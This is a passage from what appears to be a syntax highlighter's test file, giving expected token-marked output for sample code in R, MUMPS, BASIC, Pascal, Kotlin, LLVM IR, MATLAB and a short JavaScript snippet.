'`END`LIT1.23e-3`END`PLN\n' + + '`END`COM## integer constants`END`PLN\n' + + '`END`LIT123L`END`PLN\n' + + '`END`LIT1.23L`END`PLN\n' + + '`END`COM## imaginary numbers`END`PLN\n' + + '`END`LIT123i`END`PLN\n' + + '`END`LIT-123i`END`PLN\n' + + '`END`LIT123e4i`END`PLN\n' + + '`END`LIT123e-4i`END`PLN\n' + + '`END`COM## Hex numbers`END`PLN\n' + + '`END`LIT0xabcdefABCDEF01234`END`PLN\n' + + '`END`LIT0xabcp123`END`PLN\n' + + '`END`LIT0xabcP123`END`PLN\n' + + '`END`COM## Not hex`END`PLN\n' + + '`END`LIT0`END`PLNxg\n' + + '\n' + + '`END`COM## Special operators %xyz%`END`PLN\n' + + '`END`COM## %xyz%`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN%%`END`PLN `END`LIT2`END`PLN\n' + + 'diag`END`PUN(`END`LIT2`END`PUN)`END`PLN `END`PUN%*%`END`PLN diag`END`PUN(`END`LIT2`END`PUN)`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN%/%`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN%in%`END`PLN `END`LIT1`END`PUN:`END`LIT10`END`PLN\n' + + 'diag`END`PUN(`END`LIT2`END`PUN)`END`PLN `END`PUN%o%`END`PLN diag`END`PUN(`END`LIT2`END`PUN)`END`PLN\n' + + 'diag`END`PUN(`END`LIT2`END`PUN)`END`PLN `END`PUN%x%`END`PLN diag`END`PUN(`END`LIT2`END`PUN)`END`PLN\n' + + '`END`STR`%foo bar%``END`PLN `END`PUN<-`END`PLN `END`KWDfunction`END`PUN(`END`PLNx`END`PUN,`END`PLN y`END`PUN)`END`PLN x `END`PUN+`END`PLN y\n' + + '`END`LIT1`END`PLN `END`PUN%foo bar%`END`PLN `END`LIT2`END`PLN\n' + + '\n' + + '`END`COM## Control Structures (3.2) and Function`END`PLN\n' + + '`END`COM## if, else`END`PLN\n' + + '`END`KWDif`END`PLN `END`PUN(`END`LITTRUE`END`PUN)`END`PLN print`END`PUN(`END`STR"foo"`END`PUN)`END`PLN `END`KWDelse`END`PLN print`END`PUN(`END`STR"bar"`END`PUN)`END`PLN\n' + + '`END`COM## For, in`END`PLN\n' + + '`END`KWDfor`END`PUN(`END`PLNi `END`KWDin`END`PLN `END`LIT1`END`PUN:`END`LIT5`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' print`END`PUN(`END`PLNi`END`PUN)`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '`END`COM## While, break`END`PLN\n' + + 'i `END`PUN<-`END`PLN `END`LIT1`END`PLN\n' + + '`END`KWDwhile`END`PLN `END`PUN(`END`LITTRUE`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' i `END`PUN<-`END`PLN i `END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + ' `END`KWDif`END`PLN `END`PUN(`END`PLNi `END`PUN>`END`PLN `END`LIT3`END`PUN)`END`PLN `END`KWDbreak`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '`END`COM## Repeat`END`PLN\n' + + '`END`KWDrepeat`END`PLN `END`PUN{`END`LIT1+1`END`PUN}`END`PLN\n' + + '`END`COM## Switch`END`PLN\n' + + 'x `END`PUN<-`END`PLN `END`LIT3`END`PLN\n' + + '`END`KWDswitch`END`PUN(`END`PLNx`END`PUN,`END`PLN `END`LIT2+2`END`PUN,`END`PLN mean`END`PUN(`END`LIT1`END`PUN:`END`LIT10`END`PUN),`END`PLN rnorm`END`PUN(`END`LIT5`END`PUN))`END`PLN\n' + + '`END`COM## Function, dot-dot-dot, return`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`KWDfunction`END`PUN(`END`LIT...`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDreturn`END`PUN(`END`PLNsum`END`PUN(`END`LIT...`END`PUN))`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '`END`COM# Not keywords`END`PLN\n' + + 'functiona `END`PUN<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + 'function. `END`PUN<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + 'function1 `END`PUN<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + '\n' + + '\n' + + '`END`COM## Grouping Tokens 10.3.7`END`PLN\n' + + '`END`COM## Parentheses`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN+`END`PLN `END`PUN(`END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT3`END`PUN)`END`PLN\n' + + '`END`COM## brackets`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`KWDfunction`END`PUN(`END`PLNa`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' a `END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`COM## Indexing 10.3.8`END`PLN\n' + + '`END`COM## []`END`PLN\n' + + 'bar `END`PUN<-`END`PLN `END`LIT1`END`PUN:`END`LIT10`END`PLN\n' + + 'bar`END`PUN[`END`LIT3`END`PUN]`END`PLN\n' + + '`END`COM## [[]]`END`PLN\n' + + 'foo `END`PUN<-`END`PLN list`END`PUN(`END`PLNa`END`PUN=`END`LIT1`END`PUN,`END`PLN b`END`PUN=`END`LIT2`END`PUN,`END`PLN c`END`PUN=`END`LIT3`END`PUN)`END`PLN\n' + + 'foo`END`PUN[[`END`STR"a"`END`PUN]]`END`PLN\n' + + '`END`COM## $`END`PLN\n' + + 'foo`END`PUN$`END`PLNa\n' + + 'foo`END`PUN$`END`STR"a"`END`PLN\n' + + '\n' + + '`END`COM## Operators`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN-`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN~`END`PLN `END`LIT2`END`PLN\n' + + '`END`PUN!`END`PLN `END`LITTRUE`END`PLN\n' + + '`END`PUN?`END`STR"help"`END`PLN\n' + + '`END`LIT1`END`PUN:`END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN*`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN/`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PUN^`END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN<`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN>`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN==`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN>=`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN<=`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN!=`END`PLN `END`LIT2`END`PLN\n' + + '`END`LITTRUE`END`PLN `END`PUN&`END`PLN `END`LITFALSE`END`PLN\n' + + '`END`LITTRUE`END`PLN `END`PUN&&`END`PLN `END`LITFALSE`END`PLN\n' + + '`END`LITTRUE`END`PLN `END`PUN|`END`PLN `END`LITFALSE`END`PLN\n' + + '`END`LITTRUE`END`PLN `END`PUN||`END`PLN `END`LITFALSE`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + 'foo `END`PUN=`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN `END`PUN->`END`PLN foo\n' + + 'foo `END`PUN<<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN\n' + + '`END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END`PLN `END`PUN->>`END`PLN foo\n' + + 'base`END`PUN:::`END`PLNsum\n' + + 'base`END`PUN::`END`PLNsum\n' + + '\n' + + '`END`COM## Strings`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR"hello, world!"`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR\'hello, world!\'`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR"Hello, \'world!"`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR\'Hello, "world!\'`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR\'Hello, \\\'world!\\\'\'`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR"Hello, \\"world!\\""`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR"Hello,\n' + + 'world!"`END`PLN\n' + + 'foo `END`PUN<-`END`PLN `END`STR\'Hello,\n' + + 'world!\'`END`PLN\n' + + '\n' + + '`END`COM## Backtick strings`END`PLN\n' + + '`END`STR`foo123 +!"bar\'baz``END`PLN `END`PUN<-`END`PLN `END`LIT2`END`PLN `END`PUN+`END`PLN `END`LIT2`END' + ), + mumps: ( + '`PLNHDR `END`COM; -- prt/display header`END`PLN\n' + + ' `END`KWDN`END`PLN `END`KWDX`END`PUN,`END`KWDI`END`PLN\n' + + ' `END`KWDI`END`PLN `END`PUN\'`END`DEC$D`END`PUN(`END`PLNVALMHDR`END`PUN)`END`PLN `END`KWDX`END`PUN:`END`DEC$G`END`PUN(`END`PLNVALM`END`PUN(`END`STR"HDR"`END`PUN))]`END`STR""`END`PLN VALM`END`PUN(`END`STR"HDR"`END`PUN)`END`PLN\n' + + ' `END`COM; -- prt hdr line`END`PLN\n' + + ' `END`KWDW`END`PUN:\'`END`DEC$D`END`PUN(`END`PLNVALMPG1`END`PUN)`END`PLN `END`PUN@`END`PLNIOF `END`KWDK`END`PLN VALMPG1\n' + + ' `END`KWDW`END`PUN:`END`PLNVALMCC `END`DEC$C`END`PUN(`END`LIT13`END`PUN)_`END`PLNIOUON`END`PUN_`END`DEC$C`END`PUN(`END`LIT13`END`PUN)_`END`PLNIOINHI`END`PUN_`END`DEC$C`END`PUN(`END`LIT13`END`PUN)`END`PLN `END`COM; -- turn on undln/hi`END`PLN\n' + + ' `END`KWDI`END`PLN `END`DEC$E`END`PUN(`END`PLNIOST`END`PUN,`END`LIT1`END`PUN,`END`LIT2`END`PUN)=`END`STR"C-"`END`PLN `END`KWDD`END`PLN IOXY^VALM4`END`PUN(`END`LIT0`END`PUN,`END`LIT0`END`PUN)`END`PLN `END`COM; -- position cursor`END`PLN\n' + + ' `END`KWDW`END`PLN `END`DEC$E`END`PUN(`END`PLNVALM`END`PUN(`END`STR"TITLE"`END`PUN),`END`LIT1`END`PUN,`END`LIT30`END`PUN)`END`PLN `END`COM; -- prt title`END`PLN\n' + + ' `END`KWDW`END`PUN:`END`PLNVALMCC IOINORM`END`PUN,`END`PLNIOUON `END`COM; -- turn off hi`END`PLN\n' + + ' `END`KWDW`END`PLN `END`DEC$J`END`PUN(`END`STR""`END`PUN,`END`LIT30`END`PUN-`END`DEC$L`END`PUN(`END`PLNVALM`END`PUN(`END`STR"TITLE"`END`PUN)))`END`PLN `END`COM; -- fill in w/blanks`END`PLN\n' + + ' `END`KWDI`END`PLN `END`DEC$E`END`PUN(`END`PLNIOST`END`PUN,`END`LIT1`END`PUN,`END`LIT2`END`PUN)=`END`STR"C-"`END`PLN `END`KWDW`END`PLN `END`DEC$C`END`PUN(`END`LIT13`END`PUN)`END`PLN `END`KWDD`END`PLN IOXY^VALM4`END`PUN(`END`LIT30`END`PUN,`END`LIT0`END`PUN)`END`PLN `END`COM; -- position cursor`END`PLN\n' + + ' `END`KWDW`END`PLN `END`DEC$J`END`PUN(`END`STR""`END`PUN,((`END`PLNVALMWD`END`LIT-80`END`PUN)/`END`LIT2`END`PUN)),`END`PLN$$HTE^XLFDT`END`PUN(`END`DEC$H`END`PUN,`END`LIT1`END`PUN),`END`DEC$J`END`PUN(`END`STR""`END`PUN,`END`LIT10`END`PUN+((`END`PLNVALMWD`END`LIT-80`END`PUN)/`END`LIT2`END`PUN)),`END`STR"Page: "`END`PUN,`END`DEC$J`END`PUN(`END`PLNVALMPGE`END`PUN,`END`LIT4`END`PUN),`END`STR" of "`END`PUN,`END`DEC$J`END`PUN(`END`PLN$$PAGE^VALM4`END`PUN(`END`PLNVALMCNT`END`PUN,`END`PLNVALM`END`PUN(`END`STR"LINES"`END`PUN)),`END`LIT4`END`PUN)_`END`DEC$S`END`PUN(`END`DEC$D`END`PUN(`END`PLNVALMORE`END`PUN):`END`STR"+"`END`PUN,`END`LIT1`END`PUN:`END`STR" "`END`PUN)`END`PLN `END`COM; -- prt rest of hdr`END`PLN\n' + + ' `END`KWDW`END`PUN:`END`PLNVALMCC IOUOFF `END`KWDI`END`PLN `END`DEC$E`END`PUN(`END`PLNIOST`END`PUN,`END`LIT1`END`PUN,`END`LIT2`END`PUN)=`END`STR"C-"`END`PLN `END`KWDD`END`PLN IOXY^VALM4`END`PUN(`END`LIT0`END`PUN,`END`LIT0`END`PUN)`END`PLN `END`COM; -- turn off undln`END`PLN\n' + + ' `END`KWDF`END`PLN `END`KWDI`END`PUN=`END`LIT1`END`PUN:`END`LIT1`END`PUN:`END`PLNVALM`END`PUN(`END`STR"TM"`END`PUN)`END`LIT-3`END`PLN `END`KWDW`END`PLN `END`PUN!,`END`DEC$S`END`PUN(\'`END`DEC$D`END`PUN(`END`PLNVALMHDR`END`PUN(`END`KWDI`END`PUN)):`END`STR""`END`PUN,`END`DEC$L`END`PUN(`END`PLNVALMHDR`END`PUN(`END`KWDI`END`PUN))>(`END`PLNVALMWD`END`LIT-1`END`PUN):`END`PLN$`END`DEC$EXTRACT`END`PLN^VALM4`END`PUN(`END`DEC$G`END`PUN(`END`PLNVALMHDR`END`PUN(`END`KWDI`END`PUN))),`END`LIT1`END`PUN:`END`PLNVALMHDR`END`PUN(`END`KWDI`END`PUN))`END`PLN `END`COM; -- prt hdr`END`PLN\n' + + ' `END`KWDQ`END' + ), + basic_lang: ( + '`LIT200`END`PLN `END`COMREM ----- method teardown`END`PLN\n' + + '`END`LIT210`END`PLN `END`KWDPRINT`END`PLN `END`STR"green"`END`PLN\n' + + '`END`LIT220`END`PLN `END`KWDRETURN`END`PLN\n' + + '`END`LIT470`END`PLN `END`KWDIF`END`PLN af`END`PUN=`END`LIT0`END`PLN `END`KWDTHEN`END`PLN `END`KWDGOTO`END`PLN `END`LIT520`END`PLN\n' + + '`END`LIT480`END`PLN `END`KWDFOR`END`PLN j`END`PUN=`END`LIT1`END`PLN `END`KWDTO`END`PLN af\n' + + '`END`LIT500`END`PLN ac`END`PUN=`END`PLNpf`END`PUN(`END`PLNj`END`PUN)`END`PLN `END`PUN:`END`PLN me$`END`PUN=`END`PLNSTR$`END`PUN(`END`PLNj`END`PUN)+`END`STR". factor"`END`PLN `END`PUN:`END`PLN `END`KWDGOSUB`END`PLN `END`LIT100`END`PLN\n' + + '`END`LIT510`END`PLN `END`KWDNEXT`END`PLN\n' + + '`END`LIT530`END`PLN `END`KWDRETURN`END`PLN\n' + + '`END`LIT1000`END`PLN `END`KWDDATA`END`PLN `END`STR"one"`END`PUN,`END`PLN `END`LIT1`END`PUN,`END`PLN `END`LIT0`END' + ), + pascal_lang: ( + '`COM(* some comment here *)`END`PLN\n' + + '`END`KWDPROCEDURE`END`PLN TestCase`END`PUN.`END`PLNAssertEquals`END`PUN(`END`PLNmsg`END`PUN:`END`PLNString`END`PUN;`END`PLN expect`END`PUN,`END`PLN act`END`PUN:`END`PLNLongint`END`PUN);`END`PLN\n' + + '`END`KWDVAR`END`PLN ex`END`PUN,`END`PLN ac`END`PUN:`END`PLNString`END`PUN;`END`PLN\n' + + '`END`KWDBEGIN`END`PLN\n' + + ' `END`KWDIF`END`PLN expect `END`PUN<>`END`PLN act `END`KWDTHEN`END`PLN\n' + + ' `END`KWDBEGIN`END`PLN\n' + + ' Str`END`PUN(`END`PLNexpect`END`PUN,`END`PLN ex`END`PUN);`END`PLN\n' + + ' Fail`END`PUN(`END`PLNConcat`END`PUN(`END`PLNmsg`END`PUN,`END`STR\' expected \'`END`PUN,`END`PLNex`END`PUN,`END`STR\' but was \'`END`PUN,`END`PLNac`END`PUN));`END`PLN\n' + + ' `END`KWDEND`END`PUN;`END`PLN\n' + + '\n' + + ' factors `END`PUN:=`END`PLN new`END`PUN(`END`PLNArrayListPtr`END`PUN,`END`PLN Init`END`PUN);`END`PLN\n' + + '\n' + + ' `END`KWDFOR`END`PLN candidate `END`PUN:=`END`PLN `END`LIT2`END`PLN `END`KWDTO`END`PLN i `END`KWDDO`END`PLN\n' + + ' `END`KWDBEGIN`END`PLN\n' + + ' `END`KWDWHILE`END`PLN i `END`KWDMOD`END`PLN candidate `END`PUN=`END`PLN `END`LIT0`END`PLN `END`KWDDO`END`PLN\n' + + ' `END`KWDBEGIN`END`PLN\n' + + ' factors`END`PUN^.`END`PLNAdd`END`PUN(`END`PLNcandidate`END`PUN);`END`PLN\n' + + ' i `END`PUN:=`END`PLN i `END`KWDDIV`END`PLN candidate`END`PUN;`END`PLN\n' + + ' `END`KWDEND`END`PUN;`END`PLN\n' + + ' `END`KWDEND`END`PUN;`END`PLN\n' + + '`END`KWDEND`END`PUN;`END' + ), + kotlin: ( + '`KWDpackage`END`PLN test`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDimport`END`PLN kotlin`END`PUN.`END`TYPInt`END`PLN\n' + + '\n' + + '`END`COM// Single line comment`END`PLN\n' + + '`END`COM/*\n' + + ' * Multiline\n' + + ' * comment\n' + + ' */`END`PLN\n' + + '\n' + + '`END`KWDtypealias`END`PLN `END`TYPSomeNumber`END`PLN `END`PUN=`END`PLN `END`TYPInt`END`PLN\n' + + '\n' + + '`END`KWDval`END`PLN number`END`PUN:`END`PLN `END`TYPLong`END`PLN `END`PUN=`END`PLN `END`LIT1_000L`END`PLN\n' + + '`END`KWDvar`END`PLN float`END`PUN:`END`PLN `END`TYPFloat`END`PLN `END`PUN=`END`PLN `END`LIT12.34f`END`PLN\n' + + '`END`LIT0xFF_FF`END`PLN\n' + + '`END`LIT3.14`END`PLN\n' + + '\n' + + '`END`LIT314e-2`END`PLN\n' + + '`END`LIT0.314e1`END`PLN\n' + + '\n' + + '`END`KWDprotected`END`PLN `END`KWDoverride`END`PLN `END`KWDfun`END`PLN ifBoolean`END`PUN(`END`PLNcondition`END`PUN:`END`PLN `END`TYPBoolean`END`PUN?`END`PLN `END`PUN=`END`PLN `END`LITnull`END`PUN)`END' + + '`PLN `END`PUN{}`END`PLN\n' + + '\n' + + '`END`PUN::`END`PLNifBoolean\n' + + '\n' + + '`END`KWDconstructor`END`PUN()`END`PLN `END`PUN:`END`PLN `END`KWDsuper`END`PUN()`END`PLN\n' + + '\n' + + '`END`STR"\\\"true\\\""`END`PLN\n' + + '`END`STR\'a\'`END`PLN\n' + + '\n' + + '`END`STR"""\n' + + 'aaaaaaaaaaa\n' + + '"""`END`PLN\n' + + '\n' + + '`END`LITloop@`END`PLN `END`KWDfor`END`PUN()`END`PLN\n' + + '\n' + + '`END`KWDbreak`END`PLN `END`LIT@loop`END`PLN\n' + + '\n' + + '`END`KWDenum class`END`PLN `END`TYP\`true\``END`PLN\n' + + '\n' + + '`END`KWDdata class`END`PLN `END`TYPPerson`END`PUN(`END`KWDval`END`PLN name`END`PUN:`END`PLN `END`TYPString`END`PUN)`END`PLN\n' + + '\n' + + '`END`KWDenum class`END`PLN `END`TYPSize`END`PLN `END`PUN{`END`PLN\n' + + ' BIG`END`PUN,`END`PLN MEDIUM`END`PUN,`END`PLN SMALL\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDclass`END`PLN `END`TYPBall`END`PUN(`END`KWDval`END`PLN color`END`PUN:`END`PLN `END`TYPString`END`PUN,`END`PLN `END`KWDval`END`PLN size`END`PUN:`END`PLN `END`TYPSize`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDcompanion object`END`PLN `END`PUN{}`END`PLN\n' + + '\n' + + ' `END`KWDfun`END`PLN isBig`END`PUN()`END`PLN `END`PUN=`END`PLN size `END`PUN==`END`PLN `END`TYPSize`END`PUN.`END`PLNBIG\n' + + '\n' + + ' `END`KWDval`END`PLN isMedium`END`PUN:`END`PLN `END`TYPBoolean`END`PLN\n' + + ' `END`KWDget`END`PUN()`END`PLN `END`PUN=`END`PLN size `END`PUN==`END`PLN `END`TYPSize`END`PUN.`END`PLNMEDIUM\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDfun`END`PLN `END`TYPBoolean`END`PUN?.`END`PLNisNull`END`PUN():`END`PLN `END`TYPBoolean`END`PLN `END`PUN=`END`PLN `END`KWDthis`END`PLN `END`PUN==`END`PLN `END`LITnull`END`PLN\n' + + '\n' + + '`END`KWDfun`END`PLN `END`TYPBoolean`END`PUN?.`END`PLNgetOrThrow`END`PUN():`END`PLN `END`TYPBoolean`END`PLN `END`PUN=`END`PLN `END`KWDthis`END`PLN `END`PUN?:`END`PLN `END`KWDthrow`END`PLN `END`TYPException`END`PUN()`END' + ), + llvm: ( + '`COM; Declare the string constant as a global constant.`END`PLN\n' + + '@.str `END`PUN=`END`PLN `END`KWDprivate`END`PLN `END`KWDunnamed_addr`END`PLN `END`KWDconstant`END`PLN `END`PUN[`END`LIT13`END`PLN `END`KWDx`END`PLN `END`KWDi8`END`PUN]`END`PLN `END`KWDc`END`STR"hello world\\0A\\00"`END`PLN\n' + + '\n' + + '`END`COM; External declaration of the puts function`END`PLN\n' + + '`END`KWDdeclare`END`PLN `END`KWDi32`END`PLN @puts`END`PUN(`END`KWDi8`END`PUN*`END`PLN `END`KWDnocapture`END`PUN)`END`PLN `END`KWDnounwind`END`PLN\n' + + '\n' + + '`END`COM; Definition of main function`END`PLN\n' + + '`END`KWDdefine`END`PLN `END`KWDi32`END`PLN @main`END`PUN()`END`PLN `END`PUN{`END`PLN `END`COM; i32()*`END`PLN\n' + + ' `END`COM; Convert [13 x i8]* to i8 *...`END`PLN\n' + + ' %cast210 `END`PUN=`END`PLN `END`KWDgetelementptr`END`PLN `END`PUN[`END`LIT13`END`PLN `END`KWDx`END`PLN `END`KWDi8`END`PUN]*`END`PLN @.str`END`PUN,`END`PLN `END`KWDi64`END`PLN `END`LIT0`END`PUN,`END`PLN `END`KWDi64`END`PLN `END`LIT0`END`PLN\n' + + '\n' + + ' `END`COM; Call puts function to write out the string to stdout.`END`PLN\n' + + ' `END`KWDcall`END`PLN `END`KWDi32`END`PLN @puts`END`PUN(`END`KWDi8`END`PUN*`END`PLN %cast210`END`PUN)`END`PLN\n' + + ' `END`KWDret`END`PLN `END`KWDi32`END`PLN `END`LIT0`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`COM; Named metadata`END`PLN\n' + + '!1 `END`PUN=`END`PLN `END`KWDmetadata`END`PLN !`END`PUN{`END`KWDi32`END`PLN `END`LIT42`END`PUN}`END`PLN\n' + + '!foo `END`PUN=`END`PLN !`END`PUN{`END`PLN!1`END`PUN,`END`PLN `END`KWDnull`END`PUN}`END' + ), + issue217: ( + '`KWDif`END`PUN(!`END`STR/^https?:\\/\\//`END`PLNi`END`PUN.`END`PLNtest`END`PUN(`END`PLNval`END`PUN)`END`PLN `END`PUN&&`END`PLN foo `END`PUN==`END`PLN `END`STR\'bar\'`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' val `END`PUN=`END`PLN `END`STR\'http://\'`END`PLN `END`PUN+`END`PLN val`END`PUN;`END`PLN\n' + + '`END`PUN}`END' + ), + matlab: ( + '`COM%%%%%%%%%%%%%%%%%% DATA TYPES %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`ENDv`END`PLN `END`PUN=`END`PLN `END`TAG[`END`LIT1`END`PUN,`END`LIT2`END`PUN,`END`LIT3`END`PUN;`END`LIT4`END`PUN,`END`LIT5`END`PUN,`END`LIT6`END`TAG]`END`PUN;`END`PLN\n' + + '`ENDv`END`TAG(`ENDv`END`PUN>`END`LIT4`END`TAG)`END`PLN `END`PUN=`END`PLN `END`LIT0`END`PUN;`END`PLN\n' + + '\n' + + '`ENDs`END`PLN `END`PUN=`END`PLN `END`TYPstruct`END`TAG(`END`STR\'key\'`END`PUN,`END`LIT1`END`PUN,`END`PLN `END`STR\'key2\'`END`PUN,`END`STR\'string\'`END`TAG)`END`PUN;`END`PLN\n' + + '`ENDs.key`END`PLN `END`PUN=`END`PLN `END`LIT2`END`PUN;`END`PLN\n' + + '\n' + + '`ENDC`END`PLN `END`PUN=`END`PLN `END`TYPcell`END`TAG(`END`LIT1`END`PUN,`END`LIT2`END`TAG)`END`PUN;`END`PLN\n' + + '`ENDC`END`TAG{`END`LIT1`END`PUN,`END`LIT1`END`TAG}`END`PLN `END`PUN=`END`PLN `END`LIT0`END`PUN:`END`LIT9`END`PUN;`END`PLN\n' + + '\n' + + '`END`TYPdouble`END`TAG(`END`LIT1`END`TAG)`END`PLN\n' + + '`END`TYPsingle`END`TAG(`END`LIT1`END`TAG)`END`PLN\n' + + '`END`TYPuint8`END`TAG(`END`LIT1`END`TAG)`END`PLN\n' + + '`END`TYPint8`END`TAG(`END`LIT1`END`TAG)`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% STRINGS & TRANSPOSE %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END`FUNplot`END`TAG(`ENDdata`END\'`END`TAG)`END`PUN;`END`PLN\n' + + '`END`FUNlegend`END`TAG(`ENDlabels`END`TAG)`END`PLN\n' + + '\n' + + '`ENDstr`END`PLN `END`PUN=`END`PLN `END`STR\'asdasd\'`END`PUN;`END`PLN `END`COM% this is a string`END`PLN\n' + + '`ENDstr`END`PLN `END`PUN=`END`PLN `END`STR\'asdas\'`END`PUN;`END`PLN\n' + + '`ENDstr`END`PLN `END`PUN=`END`PLN `END`STR\'sdasd\'\'sdasd\'`END`PUN;`END`PLN\n' + + '\n' + + '`ENDstr`END`PLN `END`PUN=`END`PLN `END`TAG[`END`STR\'one\'`END`PLN `END`STR\'two\'`END`PLN `END`STR\'three\'`END`TAG]`END`PUN;`END`PLN\n' + + '`ENDstr`END`PLN `END`PUN=`END`PLN `END`FUNstrcat`END`TAG(`END`STR\'one\'`END`PUN,`END`PLN `END`STR\'two\'`END`PUN,`END`PLN `END`STR\'three\'`END`TAG)`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM% matrix transpose`END`PLN\n' + + '`ENDM`END`PLN `END`PUN=`END`PLN `END`FUNrand`END`TAG(`END`LIT3`END`PUN,`END`LIT3`END`TAG)`END\'`END`PUN;`END`PLN\n' + + '`ENDx`END`PLN `END`PUN=`END`PLN `ENDM`END`PUN.`END\'`END`PUN;`END`PLN\n' + + '`ENDx`END`PLN `END`PUN=`END`PLN `END`TAG[`END`LIT10`END`PLN `END`LIT20`END`PUN;`END`PLN `END`LIT30`END`PUN,`END`PLN `END`LIT40`END`TAG]`END\'`END`PUN;`END`PLN\n' + + '`END`FUNdisp`END`TAG(`ENDx`END\'`END`TAG)`END`PLN\n' + + '`END`FUNfprintf`END`TAG(`END`STR\'%d\\n\'`END`PUN,`END`PLN `ENDx`END`TAG(`END`PUN:`END`TAG)`END\'`END`TAG)`END`PLN `END`COM% with comment`END`PLN\n' + + '`END`TAG{`END`LIT1`END`PUN,`END`LIT2`END`TAG}`END\'`END`PLN `END`COM% another comment`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% LINE CONTINUATION %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END`TAG[`END`LIT1`END`PLN `END`LIT20`END`PUN;`END`PLN `END...\n' + + '`END`LIT30`END`PLN `END`LIT4`END`TAG]`END`PLN\n' + + '\n' + + '`END`TAG[`END`STR\'gdgsd\'`END...\n' + + '`END`STR\'sdfs\'`END`TAG]`END`PLN\n' + + '\n' + + '`END`TAG{`END...\n' + + '`END`STR\'sdasd\'`END`PLN `END`PUN;`END`PLN\n' + + '`END`STR\'asdsad\'`END`TAG}`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% SYSTEM COMMANDS %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END!touch file.txt`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% COMMAND OUTPUT %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END>> `END`LIT1+1`END`PLN\n' + + '`ENDans`END`PLN `END`PUN=`END`PLN\n' + + ' `END`LIT2`END`PLN\n' + + '\n' + + '`END>> `END`LIT1+1`END`PLN\n' + + '\n' + + '`ENDans`END`PLN `END`PUN=`END`PLN\n' + + '\n' + + ' `END`LIT2`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% KEYWORDS %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END`KWDfunction`END`PLN `ENDret`END`PLN `END`PUN=`END`PLN `ENDfcn`END`TAG(`ENDin`END`TAG)`END`PLN\n' + + ' `ENDret`END`PLN `END`PUN=`END`PLN `END`FUNsum`END`TAG(`ENDin`END`PUN.^`END`LIT2`END`TAG)`END`PUN;`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`END`KWDclassdef`END`PLN `ENDCC`END`PLN `END`PUN<`END`PLN `END`FUNhandle`END`PLN\n' + + ' `ENDproperties`END`PLN `END`TAG(`ENDSetAccess`END`PLN `END`PUN=`END`PLN `ENDpublic`END`TAG)`END`PLN\n' + + ' 